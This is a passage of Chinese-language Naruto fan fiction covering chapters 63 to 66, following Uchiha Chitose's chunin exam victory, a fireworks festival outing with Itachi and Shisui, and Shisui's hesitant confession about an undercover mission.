“雾隐长十郎,忍刀脱落、受制无法反击——木叶宇智波千岁,胜利!”
63.第63章 止水 忍不住了
“木叶村,宇智波千歲——胜利!”
当裁判的宣告响彻全场,千歲紧绷到极致的神经终于彻底松懈。她的查克拉早已枯竭,四肢像灌了铅一般沉重,连站立的力气都瞬间消失。
眼前一黑,她身子一软,竟直直朝着被自己压制在身下的长十郎倒了下去,整个人轻轻扑在他的胸口。
长十郎整个人瞬间僵住,双手僵硬地悬在半空,不知道该往哪里放,也不知道该不该推开。他支支吾吾地慌乱出声:“这、这个……呃……你、你没事吧?”
就在这尴尬又微妙的瞬间,不知火玄间闪现,轻轻将脱力昏迷的千歲从长十郎身上抱起,语气带着几分调侃:“少年,还是不要和女孩子有过多接触比较好。”
长十郎更是说不出话,只能愣愣躺在原地。
很快,木叶的医疗忍者迅速上前,从不知火玄间手中接过千歲,仔细检查她身上的伤口与查克拉损耗情况。高台之上,三代目火影猿飞日斩将整场战斗尽收眼底,他缓缓将烟斗凑到唇边,深深吸了一口,再缓缓吐出朦胧的烟雾。
那双历经风雨的眼眸中,掠过一丝明显的讶异与欣慰。
他还记得,这个孩子当初还只是个会哭、会撒娇、依赖着宇智波枭的小女孩。可如今,她竟凭着自己的意志与坚持,在绝境中战胜了雾隐村的天才少年长十郎,战胜了那柄强大的忍刀平目鲽。
猿飞日斩望着昏迷却依旧眉头微蹙的少女,嘴角轻轻扬起一抹淡淡的笑意。
“看来……接下来的对战,也能让我一饱眼福了。”
木叶病院
不知道昏睡了多久,千歲才缓缓睁开双眼。映入眼帘的,是木叶医院熟悉的白色天花板,鼻尖萦绕着淡淡的消毒水的味道。
下一秒,战斗的记忆猛地涌回脑海,她几乎是条件反射般猛地坐起身,失声大喊:
“平目鲽呢!?”
这一声突如其来的惊叫,把坐在床边的宇智波枭吓得手一抖,刚拿起的橘子都差点掉在地上。他皱着眉抬眼,一脸无奈:
“你突然发什么疯?”
千歲这才看清眼前的人——是自己的父亲宇智波枭。
自中忍考试第一场开始后,这还是她第一次见到他。脑袋里还残留着第一场考试里,那场逼真到可怕的幻术画面,一时间情绪翻涌。
“我……我做梦了,老爸。”她小声嘟囔。
宇智波枭一边慢条斯理地剥着橘子,一边淡淡应道:“什么梦?”
“我梦见……你跟一个不认识的黑发女人结婚了,还有了一个儿子……”
千歲越说越委屈,越说越入戏,想到幻术里被父亲冷落抛弃的画面,眼眶瞬间就红了。
“你还嫌我无理取闹,叫我离你远一点!”
她猛地捂住眼睛,开始假哭,声音里带着十足的小脾气:
“老爸!你太过分了吧!居然抛弃我这么可爱的女儿!”
宇智波枭额角青筋微微一跳,语气冷了半分:
“再这样胡闹,我现在就回家。”
千歲立刻停下假哭,一秒恢复正常,伸手死死抓住他的袖子,连连讨好:
“别别别嘛!我错了还不行吗!”
闹完这一通,她才猛然想起正事:
“对了老爸!中忍考试第二场的结果怎么样?鼬和由里香……他们都通过了吗?”
宇智波枭淡淡瞥她一眼:“不知道,没关心。”
“哎呀你告诉我嘛告诉我嘛告诉我嘛!!”千歲抱着他的手臂疯狂摇晃,撒娇技能全开。
宇智波枭被缠得实在没办法,终于不耐烦地吐出三个字:
“……通过了。”
千歲瞬间喜上眉梢,正要开口说要去找两人贺喜,宇智波枭却忽然开口,语气平静得近乎致命:
“你知道,你决赛的对手是谁吗?”
千歲愣了一下,挠挠头:“谁啊?”
病房内安静了一瞬。
宇智波枭抬眸,一字一顿地落下:
“富岳家的长子——宇智波鼬。”
下一秒,一道惊声尖叫几乎掀翻了木叶医院的天花板。
“什——么——!?!?”
宇智波镜府邸
“事情就是这样啦。”
千歲捧着止水特意为她准备的草莓大福,一口接一口地啃着,甜香在嘴里化开。她盘腿坐在榻榻米上,叽叽喳喳地把这几天发生的一切,全都讲给身边的少年听。
止水就安静地坐在她身旁,单手轻轻撑着头,目光柔和得像午后的阳光,全程耐心地听着,眼底全是眼前少女的身影。
“所以,半个月后的决赛,对手是鼬,对吗?”止水端起手边的清茶轻轻抿了一口,语气随意地问道。
一听这话,千歲抱着膝盖小声哭嚎起来:“是啊——!!这也太可怕了,对手是鼬的话,我根本一点赢的机会都没有啊!”
止水看着她委屈巴巴的模样,忍不住低笑出声:“之前不是还信誓旦旦说,一定要顺利通过中忍考试吗?那股劲儿去哪儿了?被小猫叼走啦?”
“话是这么说没错啦!!”千岁瘪着嘴,一脸没底气,“可我真的没有自信嘛……”
止水指尖摩挲着下巴,故作认真思考了片刻,语气诚实得近乎直白:“嗯……说实话,单论实力,的确是鼬更强一些。”
千歲本指望他能说几句安慰的话,结果被这句话扎得心口一噎,当场炸毛:“坏止水!早知道就不告诉你了啦!”
看着少女气呼呼的模样,止水忍不住弯起眼角,笑得更温柔了:“不过,要是论别的方面,千歲说不定真的能赢哦。”
“别的?”千岁眼睛一亮,立刻从榻榻米的一边手脚并用地爬了过去,凑到止水面前,鼻尖几乎要碰到他,“是什么是什么?快告诉我!”
止水顿了顿,思索着吐出一个词:“……决心吧。”
千歲:“……你还不如不安慰我。”
“好啦好啦,不逗你了。”止水轻笑,伸手轻轻揉了揉她的头顶,“你和鼬一起行动了那么久,早就熟悉他的战斗方式了吧?至少,他对你而言,不是陌生的敌人。”
千岁哼了一声:“什么嘛……要说相处最久的人,明明是止水你啊。就算天天待在一起,知道对方所有招数和习惯,也不一定能赢啊……我跟你交手这么多次,从来就没赢过一次。”
说
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者无心,听者却骤然一僵。
“天天待在一起……吗。”
止水轻声重复了一遍,嘴角的笑意慢慢淡了下去。他忽然想起了火影亲自下达给他的那项任务——边境卧底,时长至少两年以上。一旦接受,就意味着要离开木叶,离开她,很长很长一段时间,甚至不能联系,不能相见。
心底忽然泛起一阵细微却清晰的涩意。
“止水?”千歲察觉到他突然沉默,疑惑地歪了歪头。
止水猛地回过神,眼底的黯然一瞬即逝,重新挂上温和的笑意:“怎么了?”
“你刚刚……在想什么呀?”千岁仰着脸,满眼单纯地望着他。
止水微微一怔。
要告诉她吗?
如果说了,她会希望自己去吗?
还是……会难过?
他张了张嘴,最终还是没能说出答案,只是轻轻别开了视线,声音轻得几乎听不清:
“没什么……只是一点点,小事而已。”
“什么嘛?干嘛不告诉我?”千歲不满地鼓起脸颊,小声嘟囔着,语气里带着一丝委屈,“我们之前不是说好了吗?要互相信任,不可以隐瞒事情的!是你要我信任你的,结果止水你自己却不信任我!”
止水喉结轻轻动了动,语气带着几分无措:“这件事……我真的不知道该怎么开口。”
“之前明明拉钩约定过的!隐瞒的人要吞千针的!”千岁叉着腰,一脸认真地强调。
止水望着她气鼓鼓又带着担忧的小脸,心底一阵翻涌。
他该怎么说?他该怎么告诉她,自己即将接受长达两年以上的边境卧底任务?又该怎么告诉她,那份早已超出同伴、超出亲人的心意?
她还不懂,她还那么迟钝。就算说了,她能理解吗?能接受吗?事情早已朝着他无法掌控的方向狂奔,连他自己都开始感到一丝烦躁与心慌。
忽然,由里香之前那句半开玩笑的话,在他脑海里一闪而过:
“千歲这个笨蛋,你不亲口告诉她,她永远都不会明白你的心意。”
心意……
他到底要等到什么时候,才有勇气说出口。
视线再次落回千歲身上,少女没有继续闹脾气,反而安安静静地望着他,清澈的眼眸里没有埋怨,只有纯粹的担心。
那样直白、毫无防备的目光。
不行……
被她这样盯着,他真的要忍不住了。
止水深吸一口气,像是下定了某种决心,双手轻轻扶住千岁的肩膀。他的眼神微微闪躲,不敢与她直视,耳尖却悄悄染上一点红色。
千歲微微一怔,看着他一点点靠近的脸庞,心跳莫名漏了一拍。
此刻的止水,眼神里有着与以往温柔截然不同的情绪——紧张、认真、还有一丝她读不懂的郑重。
“千歲,其实我……”
就在这心跳几乎停止的瞬间——
“止水——!!!”
一道中气十足、穿透力极强的喊声,猛地从门外院子里炸响。
止水心脏差点吓得直接飞出胸口。
这声音……
不用想都知道,是海斗。
64.第64章 花火大会
四人齐聚在宇智波镜的家中,气氛本就安静。漩涡咲一抬眼,竟看见屋里还站着止水与千歲,心头先是一惊,随即涌上几分难以言说的错愕。一旁性子直来直去的海斗对此毫无察觉,只顾着开口说话。
“止水,我们小队不是约好今晚一起去看花火大会吗?你怎么把这事都给忘了!”
一向沉稳稳妥的止水难得露出几分窘迫,连忙笑着致歉:“是我的疏忽,最近事情一多,便彻底记岔了。花火大会不是在晚上吗?时间还早得很。”
漩涡咲轻声接话:“我和海斗想着提前过去,把要用的东西都准备好。”
“对啊,去买些喝的,到时候坐在河堤上边喝边看花火,才够尽兴!”海斗兴致勃勃地补充道。
千歲听着他们描绘的美好画面,心底早已泛起期待。止水看着她眼底的向往,温柔地笑了笑,开口问道:“我们千歲也一起去吗?”
千歲心里明明万分想去,可一想到中忍考试决赛在即,父亲宇智波枭早已为她排满了严苛的特训计划,再想起父亲那张严肃得近乎可怕的脸,便只能压下雀跃,轻轻摇了摇头。
“我就不去了,你们去吧。”
海斗见状,立刻热情地劝道:“一起来嘛,人多热闹才好玩!”
“我晚上还要进行特训,马上就要到中忍考试决赛了。”千岁解释。
漩涡咲闻言,也只能轻声惋惜:“那真是没办法了……千歲,中忍考试一定要加油哦。”
话音落下,屋内的气氛一时陷入沉默。千歲心里咯噔一下:他们这是要准备出门了?那我留在这里,岂不是有些多余?可恶的止水,都怪你!我先回家好了,下次再找你算账。
“我先回家了,拜拜。”
止水刚想开口,让她把家里剩下的草莓大福带走,千岁却已经一溜烟跑没了踪影。海斗伸手拦住了下意识要追上去的止水,笑着催促:“好啦好啦,我和小咲就在这儿等你,你快点收拾一下,我们出发吧!”
宇智波枭府邸
庭院里只剩下木剑相撞的清脆声响。千岁正与枭对练剑术,枭的语气没有半分留情,每一句话都像刀刃般直白。
“就你这样的水准,中忍决赛开场撑不过五分钟,就会被人直接撂倒。”
话音未落,他手中的木剑精准刺向千岁防守最薄弱的死角,攻势凌厉却留有余地。千岁满头大汗,呼吸急促,明明眼前的枭看似未动,仅仅是防守反击,便已让她体力透支、狼狈不堪。
一时走神的间隙,枭手腕轻转,木剑自下而上猛然一挑——千歲手中的木剑瞬间脱手,“嗖”地一声飞进了旁边的草丛。
“今天怎么心不在焉的?”枭收剑而立,淡淡开口。
“才、才没有!”千岁嘴硬地反驳,眼神却有些闪躲。
宇智波枭轻轻叹了口气,语气放缓了几分:“今天就到这里吧。”
千歲一愣,有些意外:“这、这就结束了?”
枭抬眼瞥她:“还想继续练?”
“我、我去洗澡了!”千岁像是被戳中心事,慌忙丢下一句话,转身逃也似的离开了庭院。
褪去被汗水浸透的衣服,冲去一身疲惫,千歲从浴室走出时,天边还染着傍晚的橘粉霞光。晚风轻轻拂过庭院,带着几分清爽,她刚想抱着冰镇西瓜找个角落偷偷放松,脑海里却不由自主地浮现出止水等人的身影,这个时间,他们应该正开开心心地为花火大会做准备吧。
想到这里,千歲狠狠咬了一口西瓜,甜腻的汁水在口中散开,心里却憋着一股小小的委屈:坏止水,明明有事要忙,还特意把我叫去他家里……
“去给我买几包鱼饲料回来,要绿色的。”
宇智波枭的声音突然从身后传来,打断了她的思绪。千岁小声嘟囔着,满脸不情愿,却还是简单收拾了一下,推门走了出去。
山人大叔花鸟店
“什么!?绿色的卖完了!?”
千岁双手扒着摊位边缘,声音里满是不敢置信的惊呼,整个人差点当场原地石化。
山人大叔一脸歉意地摆摆手,苦笑着解释:“这两天花火大会,村子里庙会多,买金鱼喂鱼的村民也多,所以绿色那种早就被抢空啦。”
“啊—真是的!这样的话,老爸又要好好念叨我一顿了…” 千岁垮着脸,小声嘟囔着预想中的“家庭审判”。
“前辈…?”
下意识回头,却见鼬不知何时正站在身后的树荫下。看到这位即将在决赛场上对上的强敌,千岁心里猛地一跳,下意识摆出了防御姿态。
“如果不介意的话,我家有很多绿色的鲤鱼饲料,都是我父亲用不上的存货…” 鼬从容地走过来,目光扫过她失落的神情,不动声色地递过了橄榄枝。
千歲大脑飞速运转,下一秒却摆出了最真实的求生反应,颤巍巍地问:“…鼬,你不会,是要把我拐回你家,然后杀人灭口吧…”
鼬:“……” 他沉默了一瞬,精致的脸上写满了无语,转身就想走。
“别嘛别嘛!!我去!我去还不行嘛!!” 千岁见状,连忙死皮赖脸地拉住他,画风突变,飞快地妥协。
抵达宇智波富岳府邸门前,千歲依旧踌躇不前,站在门口微微局促。鼬看了她一眼,轻声安抚:“放心吧,我父亲这两天忙于族内会议,不在家中。”
千歲闻言瞬间松了口气——自从上次那场荒诞的互换身体风波后,她见到宇智波富岳就打心底里发怵。
刚踏入院门,宇智波美琴便抱着一叠和服布料迎面走来,眉眼温柔:“呀,鼬回来了。”
话音刚落,她便注意到了鼬身后的千歲,眼中闪过一丝讶异:“咦?我们鼬居然带女孩子回家了?”
千歲连忙上前,乖巧地打招呼:“伯母好,我是宇智波千歲。”
宇智波美琴微微一怔,随即上前几步,细细端详着千岁的面容,发丝、轮廓,都与故人千手奏如出一辙。她眼底漾开温和的笑意,轻声说道:“快进来坐吧,我去准备些点心和茶水。”
千歲原本只想拿完鲤鱼饲料便立刻告辞,没料到美琴伯母如此热情,一时有些不好意思推辞。
“进来吧,坐一会儿再走也不迟。”听到鼬开口劝说,千歲才终于迈步走进屋内。
坐在客厅的榻榻米上,千歲浑身不自在,坐立难安,全然没有在止水家时的轻松随意。她在心底暗暗叫苦:这也太煎熬了!
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看着美琴伯母抱着一堆衣物忙前忙后,鼬出声问道:“母亲,需要我帮忙吗?”
美琴笑着摇了摇头,轻抚着手中的和服:“这是很久以前一位朋友赠予的女童和服,原本打算等我生下女儿,就当作礼物送给她。可是……”
她看了看身旁的鼬,又瞥了一眼边上四岁的小佐助,无奈地笑了笑:“看来,生下来的都是男孩子呢。”
“不然鼬,帮妈妈试试这件衣服?你头发这么长,我给你梳个好看的发型……”
鼬立刻果断拒绝:“……我不要。”
美琴轻轻叹气:“这下可麻烦了,这套漂亮的衣服,终究是没人能穿了……”
说罢,她的目光缓缓转向正埋头专心吃着三色丸子的千歲,鼬也一同看了过去。
千歲嘴里还塞着丸子,一脸茫然地抬起头:“……干嘛啦?”
美琴眉眼弯弯,一步步靠近,语气温柔又带着几分期待:“小千歲,能不能帮阿姨一个小忙呢?”
二十分钟后,千歲望着镜中的身影,整个人都怔住了,几乎不敢相信那是自己。
平日里她满脑子都是忍术与特训,又整日和宇智波枭这样刻板严肃的人同住,从未有人为她打理过头发,更不曾穿过这般精致的衣裳,常年都是一身朴素利落的宇智波族服。
可此刻,宇智波美琴那双灵巧的手,仿佛为她施了一层温柔的魔法。蜜金色的长发被细致地盘起在后脑,挽成小巧优雅的发髻,一支同色系的琉璃发簪轻轻固定住,背影看去温婉又精致。脸颊两侧留出微卷的碎刘海,软软地贴在鬓边,衬得她本就清秀的脸庞愈发小巧可爱。
身上的和服是清透的天蓝色底,缀着柔粉暗纹,面料轻盈柔和,腰间系着同色系的宽带,衬得她身姿纤细。配上发间那枚小巧的蓝色头饰,整个人褪去了平日训练时的莽撞锐气,像一朵被精心呵护的花,明艳又可爱,活脱脱一位从深宅里走出来的娇俏大小姐。
美琴站在她身后,细心地为她系紧腰带,望着镜中那张与千手奏如出一辙的面容,眼底满是温柔的笑意。
“好了,完成啦。”美琴轻笑着开口,“我们小千歲,简直像小公主一样呢。”
只是这身和服太过端庄,牢牢限制住了她惯常大大咧咧的动作。平日里走路带风、跳脱随性的千歲,此刻只能一小步一小步小心翼翼地挪动,安安静静不说话时,那份大小姐的端庄感竟毫无违和。
鼬看着从内室缓步走出的千歲,瞳孔微微一怔,心跳莫名漏了一拍。他飞快地移开视线,耳尖悄悄泛起一层浅红——他从未见过这样的千歲,褪去了训练时的倔强与锐气,多了几分娇美,陌生,却又格外动人。
美琴将鼬这细微的反应尽收眼底,心底忍不住偷偷发笑。
一旁四岁的小佐助更是立刻迈着小短腿扑了上来,仰着小脸奶声奶气:“姐姐,要抱~”
美琴笑着抱起小佐助,看向两人,语气带着几分狡黠:“好啦,别闹了,姐姐要和哥哥一起出门玩咯。”
出门?
千歲与鼬同时一怔。
美琴像是早已看透了他们的心思,温柔地开口:“今天晚上,可是花火大会哦,你们两个,不去看看吗?”
65.第65章 止水的公主抱
去往花火大会会场的路上,千歲与鼬并肩慢行。和服裙摆收拢,牢牢限制着步伐,再加上脚下木屐的约束,两人只能慢悠悠地走着,步调意外地合拍。
“大家穿的都是轻便的浴衣,这么正式穿和服出来的,好像只有我一个啦。”千岁小心翼翼地挪动着脚步,木屐踏在石板路上,发出清脆又规律的咔哒声,每一步都走得格外拘谨。
她低头看了看自己一身规整的装扮,又望向路边嬉闹穿梭的人影,忍不住小声嘀咕,语气里却没有半分抱怨,反倒带着几分新奇。
“不过……还是要谢谢美琴伯母。”
鼬侧过头,目光轻轻落在她被发髻衬得愈发精致的侧脸上,声音温和而平静:“你愿意留下来,母亲已经很高兴了。”
听到这话,千歲下意识侧身看向身旁的少年。此刻她早已把半个月后中忍考试决赛、鼬是她对手这件事,抛到了九霄云外。或许是因为这身过于端庄的和服,衬得她本就可爱的脸庞愈发精致,路上不少路人都忍不住侧目围观。
“你看那个女孩子,是哪个大名家的千金吧…”
“好漂亮啊…是模特吗?”
“旁边那个应该是忍者,说不定是身子柔弱不敢出门,特意有忍者贴身护卫呢…”
这话刚落,千歲瞬间像只被踩到尾巴的小猫,猛地炸毛,转头冲人群大声反驳:“什么嘛!我才不弱!我是木叶最厉害的忍者!”
这一嗓子喊的周围围观的人愣了一瞬,随即笑着作鸟兽散。
鼬站在一旁,无奈地扶了扶额,内心无声吐槽:
果然…前辈还是不适合说话…
花火大会的熙攘人声中,两道熟悉的身影并肩出现。
是卡卡西与迈特凯。
卡卡西今日本就该值班,在交班空档特意来会场透透气,没想到正巧遇上了也想来感受氛围的凯。两人索性约着在会场周边四处逛逛,权当放松。
“今天的花火大会!绝对要燃烧青春!我要在烟花绽放的瞬间,做满300个俯卧撑!”迈特凯依旧是那股充满热血因子的激情,挥舞着拳头,眼中闪着耀眼的光。
卡卡西无奈地瞥了他一眼,熟门熟路地劝阻:“凯…你这么做,恐怕会给周围的观众造成不小的麻烦吧。”
“那就去找个无人的角落!”凯毫不在意地摆摆手,吼声震天,“努力!从来不是为了给别人看的!!!”
就在这时,卡卡西的目光无意间被前方一道身影吸引。
不远处,一黑一金两个少年并肩慢行。金发的少女身着一袭淡雅的浅蓝和服,当她侧过脸来的那一刻,卡卡西瞬间认出——那是千歲。
再看身旁那位黑发少年,自然是宇智波鼬。
卡卡西意味深长地对身边的凯说道:“现在这个年纪的小孩子啊,果然比起忍术的修炼,更在意的是恋爱呢。”
迈特凯听得一头雾水,脑子里还在为待会儿去哪块空地练俯卧撑而兴奋,完全没听懂卡卡西话里的深意,依旧沉浸在对“300个俯卧撑”的狂热憧憬里。
路边的小摊升腾着白雾,千歲接过鼬递来的草莓刨冰,眼睛瞬间亮了起来:“谢谢鼬!”
她一边小口啃着冰沙,一边与鼬并肩慢行,忍不住好奇问道:“鼬,你不吃吗?”
“我不爱吃冰的。”鼬淡淡回答,目光温柔地落在她满是甜意的小脸上,“前辈吃就好。”
混着初夏带着水汽的晚风,两人最终走到了河堤之上。
下一秒,漫天烟花在夜空中轰然绽放。
一簇簇绚烂的火光刺破黑暗,时而如华丽的金莲垂落,时而如流金漫天洒落。千歲的注意力早已彻底被这极致的美吞没,手里的刨冰融化,她却浑然不觉。
“好美……”
她怔怔地仰着头,连呼吸都变得轻柔。此刻的她,完完全全融合在这片夜色与烟火之中。天蓝色的和服裙摆随着晚风轻摆,将她蜜金色的长发衬得愈发柔亮温婉。脸颊两侧的碎发被夜风轻轻撩起,拂过精致的眉眼。她那双清澈的瞳孔里,此刻只倒映着夜空中炸开的璀璨花火,每一次闪烁,都像是有星河坠入眼底。
河堤上熙熙攘攘的人群喧嚣声,在鼬的耳边仿佛瞬间远去。
他的视线,定格在千歲的侧脸上。
这种感觉……到底是什么?
鼬有些茫然,却又无比清晰地感知到了。他清楚地知道,千歲总会无意识地想起止水,他们两人的互动自然而默契,那份羁绊亲密无间。
可是……
自己的心意,却像一个偷偷摸摸的小偷,在这个烟花漫天的夜晚,肆无忌惮地在胸腔里翻涌。
他看着千歲被光芒照亮的侧脸,握紧了双手,指尖微微发凉。
在这个美得令人窒息的时刻,他甚至不知道,该如何面对这份感情。
“前辈……嘴上沾到东西了。”
看见千歲嘴角沾着一点淡粉色的刨冰碎末,鼬默默掏出手帕,轻轻朝她伸过手去。温热的布料擦过唇角,他的脸庞一点点靠近,气息清浅。
就在这时——
“有小偷啊!!!”
一声尖锐的惊叫猛地撕裂了花火大会的热闹,河堤上的人群瞬间骚动起来。
千歲和鼬同时眼神一沉,飞快对视一眼,无需多言,立刻朝着尖叫声冲去。
鼬的动作干脆利落,询问过被偷钱包的老奶奶后,立刻展开查克拉感知,身形一闪便追进了人群深处。
千歲也想立刻跟上并肩作战,可刚一迈步,身上层层叠叠的和服裙摆便狠狠绊住了她,脚步一歪,险些直接摔倒。
她咬着唇,只能暂时停下,一边轻声安抚受惊的老奶奶,一边警惕地扫视着混乱的人群。
没过多久,几名暗部成员迅速赶到,神色凝重:
“有人看到一名头戴头巾、身穿绿色披风的男子吗?”
“就是他!就是他偷了我的钱包!不知道往哪儿跑了!”老奶奶激动地指着前方。
暗部声音低沉:“那人是从他国边境偷渡进来的S级逃犯,我们正在全力追捕。警务部很快会来疏散人群,你们也尽快回家,不要停留。”
S级……逃犯?
千歲心头猛地一沉,寒意瞬间爬满后背。
鼬一个人追上去……那也太危险了!
她立刻起身,把自己知道的方向全部告知暗部。
“我们马上支援。”领头的暗部沉声道,“你既然也是忍者,就留在这里协助疏散人群,不要擅自行动。”
话音落下,几名暗部便纵身消失在夜色中。
河堤上依旧人声嘈杂,花火还在天上一朵朵炸开,可千岁却再也没有半分欣赏的心情。
人群越发混乱骚动。千歲把老奶奶送到警务部队执勤点后,又匆匆赶回河堤边。望着四处推挤的人流,她的心始终悬着,满是不安。
就在这时,一个三岁左右的小孩子在人群中被撞倒,孤零零地摔在地上,哇哇大哭。周围人流不断涌过,再晚一步就会被踩到。
千歲想也没想,立刻冲上前,弯腰将孩子紧紧护在怀里。可她穿着不便行动的和服,脚下又是不习惯的木屐,刚一用力,重心猛地一歪,整个人朝着地面摔去。
就在她以为要重重摔倒的瞬间——
一只温暖有力的手,稳稳扶住了她的手臂。
千歲猛地抬头。
灯火晃动中,那张熟悉又安心的脸映入眼帘。
是止水。
一瞬间,周围所有的喧嚣、混乱、不安,全都像被隔绝开来。她紧绷的心弦,在看到他的那一刻,彻底软了下来。
“止水!”<
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她下意识轻唤出声,声音里带着自己都没察觉的依赖。
下一秒,止水没有丝毫犹豫,伸手稳稳揽住她的腰,将她连同怀里的孩子一起轻轻抱起——是温柔又稳妥的公主抱。
瞬身术发动。
只一瞬,两人便从拥挤混乱的河堤,闪现到了安静的屋顶之上。
千歲被抱在怀里,大脑一片空白,直到止水轻轻落地,她才回过神。
止水这才看清她今日的模样。蜜金色的长发精致盘起,露出纤细白皙的脖颈,浅蓝色和服衬得她温柔精致,完全不像平时那个爱闹、爱训练的小孩子。
他压下心底骤然升起的悸动,像往常一样带着笑意打趣:“我们千歲,今天是变成小公主了?”
千歲脸颊一热,立刻鼓着脸瞪他:“你才是公主!快放我下来!”
止水低笑一声,依言将她轻轻放下。
千歲怀里还紧紧护着那个受惊吓的小孩,小家伙死死抱着她的衣襟,不敢出声。她立刻收起小脾气,低头轻声细语地安抚:
“不怕不怕,已经安全啦,等下我就帮你找妈妈……”
止水站在一旁,安静地看着她温柔哄孩子的模样。
他眼底,只剩下一片无声的温柔。
千歲一边低头轻声安抚着怀里受惊的小孩,一边才后知后觉地回过神,抬头看向止水:
“你怎么落单了?你的队友们呢?”
止水望着混乱的人群,语气平静:“刚才听见骚动,暗部说有S级通缉犯入侵,我不太放心,就独自过来看看情况。”
千歲:“那你没找到那个S级通缉犯,现在要回去陪你的伙伴了吗?”
止水低低地笑了,目光温柔地落在她脸上:“怎么啦,千歲不希望我走?”
千歲飞快瞥了他一眼,嘴硬道:“我才不要打扰你们呢!”
止水看着她闹小脾气的可爱模样,再望向她一身精致的和服,忍不住逗她:“公主可是不会随便发脾气的哦~”
“要你管。”千歲嘟囔。
止水话锋微转,语气带着几分好奇:“不过,你不是说今天要和枭大人特训吗?怎么会是这副打扮,出现在花火大会上?”
千歲想起这一连串曲折的经历,实在太长懒得细说,干脆直接开口:
“我跟鼬一起来的啦,刚才他去追S级通缉犯,我们就走散了。”
止水眼底飞快掠过一丝极淡的情绪,快得让千歲根本来不及捕捉。千歲完全沉浸在担忧里,眉头轻轻皱起:“不知道鼬现在怎么样了,S级通缉犯还没有抓到……”
“走吧,我们去暗部那边问问。”止水轻声道。
将走失的小孩妥善交给警务部队看管后,千歲便跟着止水一同赶往暗部驻守点。
刚走近,便看到一道银色发丝的暗部成员伫立在一旁——是卡卡西。
千歲立刻上前,下意识开口:“顺顺东前辈,你有看到鼬吗?”
她还记着幻境里的称呼,脱口而出。
卡卡西沉默一瞬:……算了,她喜欢怎么叫就怎么叫吧。
“你说鼬?”卡卡西的声音透过面具传出,带着几分平静,“他刚刚和暗部成员合力制服了S级通缉犯,现在正在暗部总部做任务汇报,可能还需要一点时间。不过他特意交代过……汇报结束后,会返回会场,说要来接一个人。”
说罢,卡卡西有意无意地看向千歲身旁的止水,内心默默吐槽:
现在的小孩子,换伴儿都这么快的吗。
千歲听完,整个人瞬间松了一大口气,紧绷的肩膀缓缓放下:
“太好了……”
止水站在一旁,安静地听着卡卡西的话,没有发出任何声音。
只有他自己知道,眼底那抹无人察觉的情绪,正轻轻翻涌。
66.第66章 不管止水在哪里 我都会找到你
S级通缉犯顺利被制服,会场的骚动渐渐平息,人群重新恢复了悠闲的步调,只是方才漫天绚烂的烟花,早已在夜色中散尽。
千歲与止水并肩漫无目的地走在微凉的晚风里,不知不觉,便回到了原本和海斗、漩涡咲约好野餐的河堤边。两人早已不见踪影,只剩下草地上铺着的软垫、几罐未开封的饮料,还有散落的几包零食。
从刚才骚乱发生到现在,止水一直没来得及喝水,此刻喉间早已干涩。他随手拿起一罐未开封的饮料递给千歲,自己也取了一罐。
千歲本就渴得厉害,想也没想,接过罐子便“咕嘟咕嘟”大口猛灌下去。
不过几秒,罐底便见了空。
可下一秒,她整个人都僵住了。
舌尖泛起一阵微微的辛辣,紧接着,一股温热的暖意顺着喉咙滑下,瞬间在胃里烧了起来。
止水察觉到她不对劲,立刻伸手拿过她手里的空罐,低头一看,脸色微变——
这根本不是普通饮料,而是一罐桃子味的低度甜酒。
度数虽不高,可他比谁都清楚,千歲从小滴酒不沾,一碰就醉。
此刻的千歲,脸颊已经迅速染上一层熟透的绯红,从脸颊蔓延到耳尖,连脖颈都透着淡淡的粉色。她眼神开始涣散,脚步摇摇晃晃,站都站不稳,整个人像被抽走了力气。
“止水……你怎么……瞬身术变成三个人了呀……”
她嘟囔了一句,声音带着酒后特有的迷糊与慵懒,话音未落,便身子一软,毫无防备地朝着止水怀里轻轻倒了下去。
肯定是海斗那家伙干的好事,也就他总爱把甜酒当饮料带。
止水轻轻将软乎乎的千歲搂进怀里,心里瞬间叫苦。
这下完蛋了——要是带着醉成这样的千歲回家,宇智波枭绝对会当场拔出太刀,把他劈成两半。
思虑片刻,止水还是先扶着摇摇晃晃的千歲,走到河堤旁的长椅边。他小心地让她坐下,自己则挨着她身旁落座,轻轻把她的头靠在自己肩上,想让晚风帮她稍微醒醒酒。
本以为她会就这样昏昏沉沉睡过去,没想到千歲忽然睁开迷蒙的眼,晕乎乎地开口:
“止水……你是不是有事情瞒着我呀?”
止水一愣:这小家伙,喝醉了还能这么清醒?
他只当是醉话,没立刻回应。
“干嘛不理我啦……”
千歲的声音软乎乎、黏糊糊的,带着从未有过的撒娇语气。
止水心脏猛地一跳,好不容易压下翻涌的悸动,柔声哄她:“理你,我在呢。”
千歲整个人软绵绵地靠在他肩上,几乎大半重量都倚着他,鼻尖带着淡淡的桃酒甜香。
“那你快告诉我……今天上午,你本来想说什么……”
止水身体瞬间一僵。
是那件事。
是他原本打算鼓起勇气说出心意,却被海斗突然打断的话。
现在这个情形……如果现在表白,她明明醉得意识模糊,对她来说,是不是太不公平了?
可如果不说,下次……还会有这么合适的机会吗?
“止水……你最近好奇怪哦……”千岁又小声嘟囔,“总觉得……你心里藏着好多事……”
他的确藏着心事。
而且不止一件。
一份是对她迟迟不敢说出口的心意。
另一份,是三代目火影刚刚交付给他、关乎未来、甚至关乎生死的边境卧底任务。
去,还是不去……
他至今,都没有答案。
河堤的风带着河水的微凉,轻轻扫过长椅。千岁毫无防备地靠在止水肩头,呼吸轻软。
止水沉默了很久,喉结滚动了一下,终于轻轻开口,声音压得很低,却字字清晰:
“千歲……”
他顿了顿,像是在斟酌如何开口,又像是在面对某种无法逃避的抉择。
“三代目火影大人,最近找过我。”
千歲的脑袋动了动,像只贪暖的小动物,蹭了蹭他的衣襟,没有说话。
止水继续道:
“他给了我一份任务。去边境,做卧底。”
话音落下,长椅上安静了一瞬。
千歲似乎愣了一下,慢悠悠地掀开眼皮,眼神半眯,带着醉意的茫然:“卧底……?”
“嗯。”止水轻轻点头,侧头看着她,“这是一份信任。也是……唯一能让宇智波,和木叶之间,再维持一条纽带的方式。”
他压着心里的挣扎,尽量说得平静:
“现在村子和宇智波的关系很紧张,我是宇智波族人,也是木叶的忍者。也许,只有我能做这件事。”
千歲“唔”了一声,意识飘忽,却认真地听着。
止水深吸一口气,继续往下说,语气里藏着一丝不易察觉的脆弱:
“而且……我想变强。”
他目光微微移开,看向河面倒影,声音很轻,却像敲在心上:
“之前在任务里,你为了救我倒下……那时候我什么也做不了。”
“我觉得自己太弱了。”
“我想有一天,如果真的遇到危险,我不会再让任何人,为了我而……”
他没再说下去。
